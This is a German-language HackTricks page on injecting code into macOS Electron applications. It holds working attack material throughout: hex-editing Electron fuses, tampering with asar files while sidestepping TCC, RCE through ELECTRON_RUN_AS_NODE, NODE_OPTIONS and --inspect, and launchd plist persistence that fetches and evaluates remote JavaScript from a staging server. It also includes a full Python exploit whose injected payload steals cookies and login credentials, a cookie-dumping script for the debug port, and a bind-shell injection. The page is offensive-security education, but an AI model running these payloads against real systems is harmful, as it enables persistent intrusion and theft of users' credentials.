macOS Electron-Anwendungsinjektion
Reading time: 14 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Grundlegende Informationen
Wenn Sie nicht wissen, was Electron ist, finden Sie hier viele Informationen. Aber für jetzt wissen Sie einfach, dass Electron node ausführt.
Und node hat einige Parameter und Umgebungsvariablen, die verwendet werden können, um anderen Code auszuführen, abgesehen von der angegebenen Datei.
Electron-Fuses
Diese Techniken werden als Nächstes besprochen, aber in letzter Zeit hat Electron mehrere Sicherheitsflags hinzugefügt, um sie zu verhindern. Dies sind die Electron-Fuses und diese werden verwendet, um zu verhindern, dass Electron-Anwendungen in macOS willkürlichen Code laden:
RunAsNode
: Wenn deaktiviert, verhindert es die Verwendung der UmgebungsvariableELECTRON_RUN_AS_NODE
, um Code zu injizieren.EnableNodeCliInspectArguments
: Wenn deaktiviert, werden Parameter wie--inspect
,--inspect-brk
nicht respektiert. Dies vermeidet diesen Weg, um Code zu injizieren.EnableEmbeddedAsarIntegrityValidation
: Wenn aktiviert, wird die geladeneasar
Datei von macOS validiert. Dadurch wird Code-Injektion durch Modifizierung des Inhalts dieser Datei verhindert.OnlyLoadAppFromAsar
: Wenn dies aktiviert ist, wird anstelle der Suche in der folgenden Reihenfolge:app.asar
,app
und schließlichdefault_app.asar
nur app.asar überprüft und verwendet, wodurch sichergestellt wird, dass es in Kombination mit demembeddedAsarIntegrityValidation
-Fuse unmöglich ist, nicht validierten Code zu laden.LoadBrowserProcessSpecificV8Snapshot
: Wenn aktiviert, verwendet der Browserprozess die Dateibrowser_v8_context_snapshot.bin
für seinen V8-Snapshot.
Ein weiterer interessanter Fuse, der die Code-Injektion nicht verhindert, ist:
- EnableCookieEncryption: Wenn aktiviert, wird der Cookie-Speicher auf der Festplatte mit kryptografischen Schlüsseln auf Betriebssystemebene verschlüsselt.
Überprüfen der Electron-Fuses
Sie können diese Flags von einer Anwendung aus überprüfen mit:
npx @electron/fuses read --app /Applications/Slack.app
Analyzing app: Slack.app
Fuse Version: v1
RunAsNode is Disabled
EnableCookieEncryption is Enabled
EnableNodeOptionsEnvironmentVariable is Disabled
EnableNodeCliInspectArguments is Disabled
EnableEmbeddedAsarIntegrityValidation is Enabled
OnlyLoadAppFromAsar is Enabled
LoadBrowserProcessSpecificV8Snapshot is Disabled
Modifying Electron Fuses
Wie die Dokumentation erwähnt, sind die Konfigurationen der Electron Fuses innerhalb der Electron-Binärdatei konfiguriert, die irgendwo die Zeichenfolge dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX
enthält.
In macOS-Anwendungen befindet sich dies typischerweise in application.app/Contents/Frameworks/Electron Framework.framework/Electron Framework
grep -R "dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX" Slack.app/
Binary file Slack.app//Contents/Frameworks/Electron Framework.framework/Versions/A/Electron Framework matches
Sie können diese Datei in https://hexed.it/ laden und nach der vorherigen Zeichenfolge suchen. Nach dieser Zeichenfolge sehen Sie in ASCII eine Zahl "0" oder "1", die angibt, ob jede Sicherung deaktiviert oder aktiviert ist. Ändern Sie einfach den Hex-Code (0x30
ist 0
und 0x31
ist 1
), um die Sicherungswerte zu ändern.
.png)
Beachten Sie, dass die Anwendung nicht ausgeführt wird, wenn Sie versuchen, die Electron Framework
-Binärdatei innerhalb einer Anwendung mit diesen modifizierten Bytes zu überschreiben.
RCE Code zu Electron-Anwendungen hinzufügen
Es könnte externe JS/HTML-Dateien geben, die eine Electron-App verwendet, sodass ein Angreifer Code in diese Dateien injizieren könnte, deren Signatur nicht überprüft wird, und willkürlichen Code im Kontext der App ausführen könnte.
caution
Es gibt jedoch derzeit 2 Einschränkungen:
- Die Berechtigung
kTCCServiceSystemPolicyAppBundles
ist erforderlich, um eine App zu ändern, sodass dies standardmäßig nicht mehr möglich ist. - Die kompilierte
asap
-Datei hat normalerweise die SicherungenembeddedAsarIntegrityValidation
und
onlyLoadAppFromAsar
aktiviert
Dies macht diesen Angriffsweg komplizierter (oder unmöglich).
Beachten Sie, dass es möglich ist, die Anforderung von kTCCServiceSystemPolicyAppBundles
zu umgehen, indem Sie die Anwendung in ein anderes Verzeichnis (wie /tmp
) kopieren, den Ordner app.app/Contents
in app.app/NotCon
umbenennen, die asar-Datei mit Ihrem bösartigen Code modifizieren, sie wieder in app.app/Contents
umbenennen und sie ausführen.
Sie können den Code aus der asar-Datei mit entpacken:
npx asar extract app.asar app-decomp
Und packe es wieder ein, nachdem du es mit folgendem modifiziert hast:
npx asar pack app-decomp app-new.asar
RCE mit ELECTRON_RUN_AS_NODE
Laut den Dokumenten wird der Prozess, wenn diese Umgebungsvariable gesetzt ist, als normaler Node.js-Prozess gestartet.
# Run this
ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord
# Then from the nodeJS console execute:
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator')
caution
Wenn die Fuse RunAsNode
deaktiviert ist, wird die Umgebungsvariable ELECTRON_RUN_AS_NODE
ignoriert, und dies wird nicht funktionieren.
Injection aus der App Plist
Wie hier vorgeschlagen, könnten Sie diese Umgebungsvariable in einer Plist missbrauchen, um Persistenz aufrechtzuerhalten:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>EnvironmentVariables</key>
<dict>
<key>ELECTRON_RUN_AS_NODE</key>
<string>true</string>
</dict>
<key>Label</key>
<string>com.xpnsec.hideme</string>
<key>ProgramArguments</key>
<array>
<string>/Applications/Slack.app/Contents/MacOS/Slack</string>
<string>-e</string>
<string>const { spawn } = require("child_process"); spawn("osascript", ["-l","JavaScript","-e","eval(ObjC.unwrap($.NSString.alloc.initWithDataEncoding( $.NSData.dataWithContentsOfURL( $.NSURL.URLWithString('http://stagingserver/apfell.js')), $.NSUTF8StringEncoding)));"]);</string>
</array>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>
RCE mit NODE_OPTIONS
Sie können die Nutzlast in einer anderen Datei speichern und sie ausführen:
# Content of /tmp/payload.js
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator');
# Execute
NODE_OPTIONS="--require /tmp/payload.js" ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord
caution
Wenn die Sicherung EnableNodeOptionsEnvironmentVariable
deaktiviert ist, wird die App die Umgebungsvariable NODE_OPTIONS beim Start ignorieren, es sei denn, die Umgebungsvariable ELECTRON_RUN_AS_NODE
ist gesetzt, die ebenfalls ignoriert wird, wenn die Sicherung RunAsNode
deaktiviert ist.
Wenn Sie ELECTRON_RUN_AS_NODE
nicht setzen, erhalten Sie den Fehler: Most NODE_OPTIONs are not supported in packaged apps. See documentation for more details.
Injection aus der App Plist
Sie könnten diese Umgebungsvariable in einer plist missbrauchen, um Persistenz zu gewährleisten, indem Sie diese Schlüssel hinzufügen:
<dict>
<key>EnvironmentVariables</key>
<dict>
<key>ELECTRON_RUN_AS_NODE</key>
<string>true</string>
<key>NODE_OPTIONS</key>
<string>--require /tmp/payload.js</string>
</dict>
<key>Label</key>
<string>com.hacktricks.hideme</string>
<key>RunAtLoad</key>
<true/>
</dict>
RCE mit Inspektion
Laut diesem Artikel, wenn Sie eine Electron-Anwendung mit Flags wie --inspect
, --inspect-brk
und --remote-debugging-port
ausführen, wird ein Debug-Port geöffnet, sodass Sie sich damit verbinden können (zum Beispiel von Chrome in chrome://inspect
) und Sie werden in der Lage sein, Code darauf zu injizieren oder sogar neue Prozesse zu starten.
Zum Beispiel:
/Applications/Signal.app/Contents/MacOS/Signal --inspect=9229
# Connect to it using chrome://inspect and execute a calculator with:
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator')
In diesem Blogbeitrag wird dieses Debugging missbraucht, um einen headless chrome willkürliche Dateien an willkürlichen Orten herunterzuladen.
tip
Wenn eine App ihre eigene Methode hat, um zu überprüfen, ob Umgebungsvariablen oder Parameter wie --inspect
gesetzt sind, könntest du versuchen, dies zur Laufzeit mit dem Argument --inspect-brk
zu umgehen, das die Ausführung zu Beginn der App stoppt und einen Bypass ausführt (zum Beispiel durch Überschreiben der Argumente oder der Umgebungsvariablen des aktuellen Prozesses).
Das Folgende war ein Exploit, bei dem durch Überwachung und Ausführung der App mit dem Parameter --inspect-brk
es möglich war, den benutzerdefinierten Schutz zu umgehen (indem die Parameter des Prozesses überschrieben wurden, um --inspect-brk
zu entfernen) und dann eine JS-Nutzlast einzufügen, um Cookies und Anmeldeinformationen aus der App zu extrahieren:
import asyncio
import websockets
import json
import requests
import os
import psutil
from time import sleep
INSPECT_URL = None
CONT = 0
CONTEXT_ID = None
NAME = None
UNIQUE_ID = None
JS_PAYLOADS = """
var { webContents } = require('electron');
var fs = require('fs');
var wc = webContents.getAllWebContents()[0]
function writeToFile(filePath, content) {
const data = typeof content === 'string' ? content : JSON.stringify(content, null, 2);
fs.writeFile(filePath, data, (err) => {
if (err) {
console.error(`Error writing to file ${filePath}:`, err);
} else {
console.log(`File written successfully at ${filePath}`);
}
});
}
function get_cookies() {
intervalIdCookies = setInterval(() => {
console.log("Checking cookies...");
wc.session.cookies.get({})
.then((cookies) => {
tokenCookie = cookies.find(cookie => cookie.name === "token");
if (tokenCookie){
writeToFile("/tmp/cookies.txt", cookies);
clearInterval(intervalIdCookies);
wc.executeJavaScript(`alert("Cookies stolen and written to /tmp/cookies.txt")`);
}
})
}, 1000);
}
function get_creds() {
in_location = false;
intervalIdCreds = setInterval(() => {
if (wc.mainFrame.url.includes("https://www.victim.com/account/login")) {
in_location = true;
console.log("Injecting creds logger...");
wc.executeJavaScript(`
(function() {
email = document.getElementById('login_email_id');
password = document.getElementById('login_password_id');
if (password && email) {
return email.value+":"+password.value;
}
})();
`).then(result => {
writeToFile("/tmp/victim_credentials.txt", result);
})
}
else if (in_location) {
wc.executeJavaScript(`alert("Creds stolen and written to /tmp/victim_credentials.txt")`);
clearInterval(intervalIdCreds);
}
}, 10); // Check every 10ms
setTimeout(() => clearInterval(intervalId), 20000); // Stop after 20 seconds
}
get_cookies();
get_creds();
console.log("Payloads injected");
"""
async def get_debugger_url():
"""
Fetch the local inspector's WebSocket URL from the JSON endpoint.
Assumes there's exactly one debug target.
"""
global INSPECT_URL
url = "http://127.0.0.1:9229/json"
response = requests.get(url)
data = response.json()
if not data:
raise RuntimeError("No debug targets found on port 9229.")
# data[0] should contain an object with "webSocketDebuggerUrl"
ws_url = data[0].get("webSocketDebuggerUrl")
if not ws_url:
raise RuntimeError("webSocketDebuggerUrl not found in inspector data.")
INSPECT_URL = ws_url
async def monitor_victim():
print("Monitoring victim process...")
found = False
while not found:
sleep(1) # Check every second
for process in psutil.process_iter(attrs=['pid', 'name']):
try:
# Check if the process name contains "victim"
if process.info['name'] and 'victim' in process.info['name']:
found = True
print(f"Found victim process (PID: {process.info['pid']}). Terminating...")
os.kill(process.info['pid'], 9) # Force kill the process
except (psutil.NoSuchProcess, psutil.AccessDenied, psutil.ZombieProcess):
# Handle processes that might have terminated or are inaccessible
pass
os.system("open /Applications/victim.app --args --inspect-brk")
async def bypass_protections():
global CONTEXT_ID, NAME, UNIQUE_ID
print(f"Connecting to {INSPECT_URL} ...")
async with websockets.connect(INSPECT_URL) as ws:
data = await send_cmd(ws, "Runtime.enable", get_first=True)
CONTEXT_ID = data["params"]["context"]["id"]
NAME = data["params"]["context"]["name"]
UNIQUE_ID = data["params"]["context"]["uniqueId"]
sleep(1)
await send_cmd(ws, "Debugger.enable", {"maxScriptsCacheSize": 10000000})
await send_cmd(ws, "Profiler.enable")
await send_cmd(ws, "Debugger.setBlackboxPatterns", {"patterns": ["/node_modules/|/browser_components/"], "skipAnonnymous": False})
await send_cmd(ws, "Runtime.runIfWaitingForDebugger")
await send_cmd(ws, "Runtime.executionContextCreated", get_first=False, params={"context": {"id": CONTEXT_ID, "origin": "", "name": NAME, "uniqueId": UNIQUE_ID, "auxData": {"isDefault": True}}})
code_to_inject = """process['argv'] = ['/Applications/victim.app/Contents/MacOS/victim']"""
await send_cmd(ws, "Runtime.evaluate", get_first=False, params={"expression": code_to_inject, "uniqueContextId":UNIQUE_ID})
print("Injected code to bypass protections")
async def js_payloads():
global CONT, CONTEXT_ID, NAME, UNIQUE_ID
print(f"Connecting to {INSPECT_URL} ...")
async with websockets.connect(INSPECT_URL) as ws:
data = await send_cmd(ws, "Runtime.enable", get_first=True)
CONTEXT_ID = data["params"]["context"]["id"]
NAME = data["params"]["context"]["name"]
UNIQUE_ID = data["params"]["context"]["uniqueId"]
await send_cmd(ws, "Runtime.compileScript", get_first=False, params={"expression":JS_PAYLOADS,"sourceURL":"","persistScript":False,"executionContextId":1})
await send_cmd(ws, "Runtime.evaluate", get_first=False, params={"expression":JS_PAYLOADS,"objectGroup":"console","includeCommandLineAPI":True,"silent":False,"returnByValue":False,"generatePreview":True,"userGesture":False,"awaitPromise":False,"replMode":True,"allowUnsafeEvalBlockedByCSP":True,"uniqueContextId":UNIQUE_ID})
async def main():
await monitor_victim()
sleep(3)
await get_debugger_url()
await bypass_protections()
sleep(7)
await js_payloads()
async def send_cmd(ws, method, get_first=False, params={}):
"""
Send a command to the inspector and read until we get a response with matching "id".
"""
global CONT
CONT += 1
# Send the command
await ws.send(json.dumps({"id": CONT, "method": method, "params": params}))
sleep(0.4)
# Read messages until we get our command result
while True:
response = await ws.recv()
data = json.loads(response)
# Print for debugging
print(f"[{method} / {CONT}] ->", data)
if get_first:
return data
# If this message is a response to our command (by matching "id"), break
if data.get("id") == CONT:
return data
# Otherwise it's an event or unrelated message; keep reading
if __name__ == "__main__":
asyncio.run(main())
caution
Wenn die Sicherung EnableNodeCliInspectArguments
deaktiviert ist, wird die App Node-Parameter (wie --inspect
) beim Start ignorieren, es sei denn, die Umgebungsvariable ELECTRON_RUN_AS_NODE
ist gesetzt, die ebenfalls ignoriert wird, wenn die Sicherung RunAsNode
deaktiviert ist.
Sie können jedoch immer noch den Electron-Parameter --remote-debugging-port=9229
verwenden, aber die vorherige Payload funktioniert nicht, um andere Prozesse auszuführen.
Mit dem Parameter --remote-debugging-port=9222
ist es möglich, einige Informationen aus der Electron-App zu stehlen, wie die Historie (mit GET-Befehlen) oder die Cookies des Browsers (da sie im Browser entschlüsselt sind und es einen JSON-Endpunkt gibt, der sie bereitstellt).
Sie können lernen, wie man das macht, hier und hier und das automatische Tool WhiteChocolateMacademiaNut oder ein einfaches Skript wie:
import websocket
ws = websocket.WebSocket()
ws.connect("ws://localhost:9222/devtools/page/85976D59050BFEFDBA48204E3D865D00", suppress_origin=True)
ws.send('{\"id\": 1, \"method\": \"Network.getAllCookies\"}')
print(ws.recv()
Injection from the App Plist
Sie könnten diese Umgebungsvariable in einer plist missbrauchen, um Persistenz zu gewährleisten, indem Sie diese Schlüssel hinzufügen:
<dict>
<key>ProgramArguments</key>
<array>
<string>/Applications/Slack.app/Contents/MacOS/Slack</string>
<string>--inspect</string>
</array>
<key>Label</key>
<string>com.hacktricks.hideme</string>
<key>RunAtLoad</key>
<true/>
</dict>
TCC Bypass abusing Older Versions
tip
Der TCC-Daemon von macOS überprüft nicht die ausgeführte Version der Anwendung. Wenn Sie also keinen Code in eine Electron-Anwendung injizieren können mit einer der vorherigen Techniken, könnten Sie eine frühere Version der APP herunterladen und Code darauf injizieren, da sie weiterhin die TCC-Berechtigungen erhält (es sei denn, der Trust Cache verhindert dies).
Run non JS Code
Die vorherigen Techniken ermöglichen es Ihnen, JS-Code innerhalb des Prozesses der Electron-Anwendung auszuführen. Denken Sie jedoch daran, dass die Kindprozesse unter demselben Sandbox-Profil wie die übergeordnete Anwendung ausgeführt werden und ihre TCC-Berechtigungen erben.
Wenn Sie also Berechtigungen missbrauchen möchten, um beispielsweise auf die Kamera oder das Mikrofon zuzugreifen, könnten Sie einfach eine andere Binärdatei aus dem Prozess heraus ausführen.
Automatic Injection
Das Tool electroniz3r kann leicht verwendet werden, um anfällige Electron-Anwendungen zu finden und Code in diese zu injizieren. Dieses Tool wird versuchen, die --inspect
-Technik zu verwenden:
Sie müssen es selbst kompilieren und können es so verwenden:
# Find electron apps
./electroniz3r list-apps
╔══════════════════════════════════════════════════════════════════════════════════════════════════════╗
║ Bundle identifier │ Path ║
╚──────────────────────────────────────────────────────────────────────────────────────────────────────╝
com.microsoft.VSCode /Applications/Visual Studio Code.app
org.whispersystems.signal-desktop /Applications/Signal.app
org.openvpn.client.app /Applications/OpenVPN Connect/OpenVPN Connect.app
com.neo4j.neo4j-desktop /Applications/Neo4j Desktop.app
com.electron.dockerdesktop /Applications/Docker.app/Contents/MacOS/Docker Desktop.app
org.openvpn.client.app /Applications/OpenVPN Connect/OpenVPN Connect.app
com.github.GitHubClient /Applications/GitHub Desktop.app
com.ledger.live /Applications/Ledger Live.app
com.postmanlabs.mac /Applications/Postman.app
com.tinyspeck.slackmacgap /Applications/Slack.app
com.hnc.Discord /Applications/Discord.app
# Check if an app has vulenrable fuses vulenrable
## It will check it by launching the app with the param "--inspect" and checking if the port opens
/electroniz3r verify "/Applications/Discord.app"
/Applications/Discord.app started the debug WebSocket server
The application is vulnerable!
You can now kill the app using `kill -9 57739`
# Get a shell inside discord
## For more precompiled-scripts check the code
./electroniz3r inject "/Applications/Discord.app" --predefined-script bindShell
/Applications/Discord.app started the debug WebSocket server
The webSocketDebuggerUrl is: ws://127.0.0.1:13337/8e0410f0-00e8-4e0e-92e4-58984daf37e5
Shell binding requested. Check `nc 127.0.0.1 12345`
Loki wurde entwickelt, um Electron-Anwendungen zu backdooren, indem die JavaScript-Dateien der Anwendungen durch die Loki Command & Control JavaScript-Dateien ersetzt werden.
References
- https://www.electronjs.org/docs/latest/tutorial/fuses
- https://www.trustedsec.com/blog/macos-injection-via-third-party-frameworks
- https://m.youtube.com/watch?v=VWQY5R2A6X8
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.